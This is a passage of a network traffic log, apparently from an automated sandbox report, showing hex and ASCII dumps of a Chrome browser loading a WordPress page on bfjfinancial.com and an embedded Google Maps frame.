13 7a 21 d0 86 50 87 45 5d 67 7b 3a 4c 6d 24 bd 68 6b 34 dc 96 ac 94 e4 06 d0 41 fe 1a f2 41 3b 49 4f Data Ascii: .;OyJ=.JXgI\|ucKMp=wP/#BW,Gg.H`X:"s]7KwEPY)y(J@QkT64y,y)@Xwti/4a1I+a4KoHZp=KL/z!PE]g{:Lm$hk4AA;IO
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 49 48 65 6f 5e 1e a9 96 c7 03 b5 e4 66 9c f2 b2 65 dd af 33 49 fa 0d 20 82 f8 0c 70 5e 9d ce 29 3c ae c0 3c ae c0 3c 2e bb c9 e3 ea 19 99 e2 4a cd 34 cf 2c 57 f6 cd 3c ce 10 f2 0c 35 49 c3 a7 ca 8a 6d c5 77 16 27 4f ae d7 23 aa 52 1f c7 75 52 76 8d 43 a0 42 a0 a8 77 48 13 be ba 25 50 c2 cc ac a9 2d 2b 6d 57 8e c6 db b5 ca 72 97 dd 94 7b 35 fa 97 d2 b2 cc bb b1 f0 43 d9 a1 51 26 e8 aa 79 b9 12 b0 d5 4a 61 5d 7b 0f 21 c9 6b 22 f5 09 6b 11 91 68 26 41 f0 f1 47 e4 54 79 cc e7 9f 46 da 9f de ed e3 00 f1 30 bf 18 50 3f 39 8e ea 83 c1 88 1f 07 4b 04 48 3a d5 d8 13 34 57 d6 d0 ec d0 92 fe 13 72 ab 2b dd b3 c2 c2 f1 ce cc ec 38 cc e2 de 34 68 0c 4d 13 a5 21 7c fe fa 74 72 c2 90 29 03 05 a4 f6 19 f8 ad 37 80 39 6b 83 30 67 55 b9 1c 73 e5 1e 18 1a 11 f9 15 e4 2b a0 Data Ascii: IHeo^fe3I p^)<<<.J4,W<5Imw'O#RuRvCBwH%P-+mWr{5CQ&yJa]{!k"kh&AGTyF0P?9KH:4Wr+84hM!\|tr)79k0gUs+
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 8e 62 4d ab 60 e9 22 a0 04 b2 af 5b 08 40 6b 59 cf 30 a0 53 cd ff 27 69 cd ca 66 67 63 9f ee 89 e8 04 81 7d 23 04 be a5 fc 1f 3d f7 b0 48 5c 9e 30 ed 78 12 a3 76 67 da e2 59 d2 40 84 0e a5 2d dc ab e4 8a 75 0a 53 b8 ab 77 2f b6 22 bd 18 a3 ce a2 86 eb e9 4e 7d 16 0b dc 03 9d d0 7b 44 2d f4 6f 90 b5 c4 f7 73 35 5a fd ef 62 61 be 5b 0d ad 66 e4 a4 e8 a4 c5 72 bf a4 92 90 ba 21 7d 11 ac f4 47 9d e1 0e 94 2d 28 a0 f9 1d fd d1 79 74 eb c4 42 4c ee 41 f4 59 4a ba 28 b5 a1 db ac 94 43 6a ae 37 83 29 e2 33 b6 1c 69 36 db 63 4a c3 02 fc 15 27 6a e7 03 16 4c ef be 0c e5 66 34 4c 22 97 90 67 95 0a e3 dc 89 b8 3b 67 a8 71 25 61 25 5d 81 c6 1d cb 92 3f 4e be 05 b7 5e 44 ef 9e 4d 13 f7 55 5b 70 b2 fb 84 54 b3 a7 1e a1 eb 40 f4 a2 9d 0d 2a 17 da d2 94 b0 57 b0 6e 77 63 Data Ascii: bM`"[@kY0S'ifgc}#=H\0xvgY@-uSw/"N}{D-os5Zba[fr!}G-(ytBLAYJ(Cj7)3i6cJ'jLf4L"g;gq%a%]?N^DMU[pT@*Wnwc
2024-04-11 20:34:56 UTC	11360	IN	Data Raw: c9 ee 93 8a 05 1b d1 d2 a5 36 07 85 e9 58 f2 b9 e0 48 e1 14 38 80 3a ef 01 2e 4f 46 99 20 8a ad bd 68 f3 a4 cf 7c 89 89 b2 03 c1 01 a6 03 c9 b6 40 65 0b 3c d0 da 2a e5 86 4c b5 bb 27 16 e3 6f 89 a0 f8 a1 74 c5 4b bd 92 8b 93 f7 24 e3 e9 7b 82 ff 46 a0 c6 b1 60 e4 9f 07 69 bf 4e aa ac 42 c8 7d ff 46 27 f6 23 4b 27 38 e8 0c 25 ab 42 d4 69 bf a2 77 d3 66 5c 33 12 0a ad 91 94 b5 40 fc ab 22 f8 7b 6c ce 54 40 c2 cc a9 45 0b fe 85 af 9e 21 56 1c 44 cf 90 32 1b ec cb 98 39 be 8c 59 f4 9f ca 98 99 a1 95 f6 d3 63 16 8e 5a 38 0a ac 1e 90 2d 73 20 5b 56 31 94 73 4d 5a b6 cc f1 65 cb 2a 7c d9 32 c7 97 2d 73 f2 64 cb 2a 7c d9 32 c7 97 2d 73 7c d9 32 e7 67 64 cb 74 54 45 54 8f 5a ba cc 11 e9 b2 9d 3e cc 2f 67 e5 a4 cb de 25 85 e6 b4 99 7a 33 d9 03 d2 65 15 00 7a 3b be Data Ascii: 6XH8:.OF h\|@e<L'otK${F`iNB}F'#K'8%Biwf\3@"{lT@E!VD29YcZ8-s [V1sMZe\|2-sd*\|2-s\|2gdtTETZ>/g%z3ez;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49762	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	671	OUT	GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff2 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	809	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 63843 cache-control: no-cache, must-revalidate, max-age=0 x-fw-server: Flywheel/5.1.0 x-xss-protection: 1 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-fw-dynamic: TRUE expires: Wed, 11 Jan 1984 05:00:00 GMT referrer-policy: no-referrer-when-downgrade link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-content-type-options: nosniff content-type: text/html; charset=UTF-8 Server: Flywheel/5.1.0 X-Cacheable: NO:Not Cacheable Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18125-EWR, cache-ewr18137-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.924277,VS0,VE429 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='noin
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 62 66 6a 64 65 76 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 41 72 74 69 63 6c 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 Data Ascii: or" content="bfjdev" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-th
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 65 2d 62 65 73 74 2d 6f 6e 6c 69 6e 65 2d 63 61 73 69 6e 6f 2d 77 65 62 73 69 74 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c Data Ascii: tps://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US",
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 36 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f Data Ascii: ancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/co
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 62 79 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 70 6c 75 67 69 6e 20 76 37 2e 32 35 2e 30 20 2d 20 55 73 69 6e 67 20 41 6e 61 6c 79 74 69 63 73 20 74 72 61 63 6b 69 6e 67 20 2d 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 78 61 63 74 6d 65 74 72 69 63 73 2e 63 6f 6d 2f 20 2d 2d 3e 0a 09 09 3c 21 2d 2d 20 4e 6f 74 65 3a 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 69 73 20 6e 6f 74 20 63 75 72 72 65 6e 74 6c 79 20 63 6f 6e 66 69 67 75 72 65 64 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 20 54 68 65 20 73 69 74 65 20 6f 77 6e 65 72 20 6e 65 65 64 73 20 74 6f 20 61 75 74 68 65 6e 74 69 63 61 74 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 69 6e 20 74 68 65 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 73 Data Ascii: le Analytics by ExactMetrics plugin v7.25.0 - Using Analytics tracking - https://www.exactmetrics.com/ -->... Note: ExactMetrics is not currently configured on this site. The site owner needs to authenticate with Google Analytics in the ExactMetrics s
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 29 26 26 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 36 35 5c 75 64 62 34 30 5c 75 64 63 36 65 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 37 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 35 Data Ascii: ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 2c 61 3d 6e 65 77 20 57 6f 72 6b 65 72 28 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 Data Ascii: Canvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectUR
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 Data Ascii: -block-library-css' href='https://www.bfjfinancial.com/wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d' type='text/css' media='all' /><style id='wp-block-library-theme-inline-css' type='text/css'>.wp-block-audio fig
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 77 Data Ascii: er{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.w
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 65 6d 20 32 2e 33 37 35 65 6d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 Data Ascii: lock-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}</style><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	142.251.35.164	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	1014	OUT	GET /maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	730	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-JwsKqgSoK5JN1tVqquXggA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/geo-maps-api/1 Content-Type: text/html; charset=UTF-8 Vary: Origin Vary: X-Origin Vary: Referer Date: Thu, 11 Apr 2024 20:34:56 GMT Server: scaffolding on HTTPServer2 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Language,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 20:34:56 UTC	525	IN	Data Raw: 64 37 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 6d 61 70 44 69 76 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6d 61 70 44 69 76 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4a 77 73 4b 71 67 53 Data Ascii: d78<!DOCTYPE html><html> <head> <style type="text/css"> html, body, #mapDiv { height: 100%; margin: 0; padding: 0; } </style> </head> <body> <div id="mapDiv"></div> <script nonce="JwsKqgS
2024-04-11 20:34:56 UTC	1255	IN	Data Raw: 75 6c 6c 2c 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 39 39 32 33 36 33 36 35 32 30 35 39 30 37 32 30 35 35 37 22 2c 22 31 35 38 32 36 34 38 36 31 38 35 39 39 33 34 30 35 34 31 33 22 5d 2c 22 2f 67 2f 31 74 68 38 38 30 35 30 22 2c 6e 75 6c 6c 2c 5b 33 39 32 31 31 39 30 35 33 2c 33 35 32 36 33 32 34 39 38 38 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 67 63 69 64 3a 63 65 72 74 69 66 69 65 64 5f 70 75 62 6c 69 63 5f 61 63 63 6f 75 6e 74 61 6e 74 22 5d 2c 30 2c 30 2c 6e 75 6c Data Ascii: ull,[[null,null,null,null,null,null,null,null,null,null,null,null,null,[[["9923636520590720557","15826486185993405413"],"/g/1th88050",null,[392119053,3526324988],null,null,null,null,null,null,null,null,null,null,"gcid:certified_public_accountant"],0,0,nul
2024-04-11 20:34:56 UTC	1255	IN	Data Raw: 6b 4d 4b 30 67 62 75 46 41 78 57 75 4d 31 6b 46 48 55 78 51 41 68 6f 51 38 42 63 49 41 69 67 41 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 22 74 65 6c 3a 2b 31 33 30 31 32 36 30 38 36 30 30 22 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 5b 22 30 61 68 55 4b 45 77 69 6a 6b 4d 4b 30 67 62 75 46 41 78 57 75 4d 31 6b 46 48 55 78 51 41 68 6f 51 71 74 4d 42 43 41 30 6f 43 67 22 2c 5b 22 38 37 46 35 36 34 36 50 2b 51 38 22 5d 2c 5b 22 36 34 36 50 2b 51 38 20 43 6f 6c 75 6d 62 69 61 2c 20 4d 61 72 79 6c 61 6e 64 2c 20 55 53 41 22 5d 2c 33 5d 2c 5b 5b 5b 22 54 68 75 72 73 64 61 79 22 2c 34 2c 5b 32 30 32 34 2c 34 2c 31 31 5d 2c 5b 5b 22 38 3a 33 30 e2 80 af 61 6d e2 80 93 35 e2 80 af 70 6d 22 2c 5b 5b 38 2c 33 30 5d 2c 5b 31 37 5d 5d 5d 5d 2c 30 2c 31 5d Data Ascii: kMK0gbuFAxWuM1kFHUxQAhoQ8BcIAigA",null,null,["tel:+13012608600"],null,null,null,1,["0ahUKEwijkMK0gbuFAxWuM1kFHUxQAhoQqtMBCA0oCg",["87F5646P+Q8"],["646P+Q8 Columbia, Maryland, USA"],3],[[["Thursday",4,[2024,4,11],[["8:30am5pm",[[8,30],[17]]]],0,1]
2024-04-11 20:34:56 UTC	420	IN	Data Raw: 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 70 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 6d 61 70 73 2d 61 70 69 2d 76 33 2f 65 6d 62 65 64 2f 6a 73 2f 35 36 2f 38 2f 69 6e 69 74 5f 65 6d 62 65 64 2e 6a 73 22 20 6e 6f 6e 63 65 3d 22 4a 77 73 4b 71 67 53 6f 4b 35 4a 4e 31 74 56 71 71 75 58 67 67 41 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 2f 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 6d 61 70 73 2f 61 70 69 2f 6a 73 3f 63 6c 69 65 6e 74 3d 67 6f 6f 67 6c 65 2d 6d 61 70 73 2d 65 6d 62 65 64 26 61 6d 70 3b 70 61 69 6e 74 5f 6f 72 69 